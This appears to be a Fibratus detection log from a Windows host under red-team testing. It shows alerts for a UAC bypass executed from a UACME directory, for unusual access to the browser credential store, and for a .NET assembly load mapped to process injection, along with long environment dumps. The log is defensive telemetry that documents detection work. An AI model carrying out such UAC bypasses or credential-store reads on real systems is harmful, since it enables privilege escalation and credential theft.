Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:11:20+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\System32\msisip.dll loaded by unmanaged process C:\WINDOWS\System32\sdiagnhost.exe + Event(s): + Seq: 6125749 + Pid: 11140 + Tid: 15512 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:10:51.0521806 +0100 CET + Params: base_address➜ 7ff9f5f10000, checksum➜ 108534, default_address➜ 7ff9f5f10000, file_path➜ C:\Windows\System32\msisip.dll, image_size➜ 98304, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11140, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 11140 + Ppid: 1228 + Name: sdiagnhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\System32\sdiagnhost.exe -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\System32\sdiagnhost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\sdiagnhost.exe -Embedding] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:11:20+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\System32\msisip.dll loaded by unmanaged process C:\WINDOWS\System32\sdiagnhost.exe + Event(s): + Seq: 6125749 + Pid: 11140 + Tid: 15512 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:10:51.0521806 +0100 CET + Params: base_address➜ 7ff9f5f10000, checksum➜ 108534, default_address➜ 7ff9f5f10000, file_path➜ C:\Windows\System32\msisip.dll, image_size➜ 98304, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 11140, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 11140 + Ppid: 1228 + Name: sdiagnhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\System32\sdiagnhost.exe -Embedding + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\System32\sdiagnhost.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\sdiagnhost.exe -Embedding] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:13:54+01:00 level=info msg=sending alert: [UAC bypass via Program Compatibility Assistant scheduled task hijack]. Text: Event(s): + Seq: 6664578 + Pid: 8140 + Tid: 12928 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:34.6703851 +0100 CET + Params: cmdline➜ 2, directory_table_base➜ 1b49e9000, domain➜ ARCHRABBIT, exe➜ C:\Fibratus\redteam\UACME\Source\Akagi\9nLuRiprBwF8P.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0df4542080, name➜ 9nLuRiprBwF8P.exe, pid➜ 14228, ppid➜ 8140, real_ppid➜ 8140, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:13:34.6703851 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1764864853325103068, rule.name: UAC bypass via Program Compatibility Assistant scheduled task hijack, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 8140 + Ppid: 828 + Name: taskhostw.exe + Parent name: svchost.exe + Cmdline: taskhostw.exe + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Exe: C:\WINDOWS\System32\taskhostw.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [taskhostw.exe] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783133 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8335374 +0100 CET + Params: attributes➜ NORMAL, create_disposition➜ OPEN, create_options➜ WRITE_THROUGH|NON_DIRECTORY_FILE|RANDOM_ACCESS, file_object➜ ffffad0df335fb90, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0ddc6530f8, share_mask➜ , status➜ Success, tid➜ 9288, type➜ File + Metadata: tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.id: T1555.003, rule.name: Unusual access to Web Browser Credential stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/ + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783140 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8337748 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffad0df336e910, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0de41930f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9288, type➜ File + Metadata: rule.name: Unusual access to Web Browser Credential stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.name: Credential Access, technique.name: Credentials from Password Stores, tactic.id: TA0006, subtechnique.id: T1555.003 + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783149 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8339583 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffad0df33913c0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0dd72e5808, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9288, type➜ File + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.id: TA0006, rule.name: Unusual access to Web Browser Credential stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:14:11+01:00 level=info msg=sending alert: [Unusual access to Web Browser Credential stores]. Text: Event(s): + Seq: 6783162 + Pid: 3488 + Tid: 9288 + Type: CreateFile + CPU: 0 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:13:55.8345037 +0100 CET + Params: attributes➜ , create_disposition➜ OPEN, create_options➜ OPEN_REPARSE_POINT, file_object➜ ffffad0df33913c0, file_path➜ C:\Users\nedo\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, irp➜ ffffad0de41930f8, share_mask➜ READ|WRITE|DELETE, status➜ Success, tid➜ 9288, type➜ File + Metadata: rule.name: Unusual access to Web Browser Credential stores, tactic.id: TA0006, subtechnique.id: T1555.003, subtechnique.name: Credentials from Web Browsers, subtechnique.ref: https://attack.mitre.org/techniques/T1555/003/, technique.id: T1555, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 3488 + Ppid: 1228 + Name: dllhost.exe + Parent name: svchost.exe + Cmdline: C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} + Parent cmdline: C:\WINDOWS\system32\svchost.exe -k DcomLaunch -p + Exe: C:\WINDOWS\system32\DllHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) 